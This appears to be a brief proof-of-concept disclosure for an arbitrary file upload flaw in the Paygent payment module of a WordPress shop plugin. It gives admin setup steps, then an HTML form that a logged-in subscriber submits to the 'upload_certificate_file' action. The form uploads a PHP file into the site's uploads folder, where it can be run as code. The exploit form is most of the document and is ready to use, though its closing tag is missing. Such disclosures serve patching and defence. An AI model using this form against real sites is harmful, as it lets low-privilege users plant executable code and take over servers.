Setup (As admin):
- Go the the Settlement Settings ad drag the "γƒšγ‚€γ‚Έγ‚§γƒ³γƒˆ" module to the 'Settlement modules in use' section, then click the update button
- Setup the module and upload a certificate

Attack (as a subscriber), login to the blog, open a page with the code below and select a PHP file:
    <form action="" method="POST" enctype="multipart/form-data">
        <input type="text" name="action" value="upload_certificate_file"/>
        <input type="file" name="upfile"/>
        <input type="submit" value="submit"/>

This will upload the php file to the uploads/xxxxx/ folder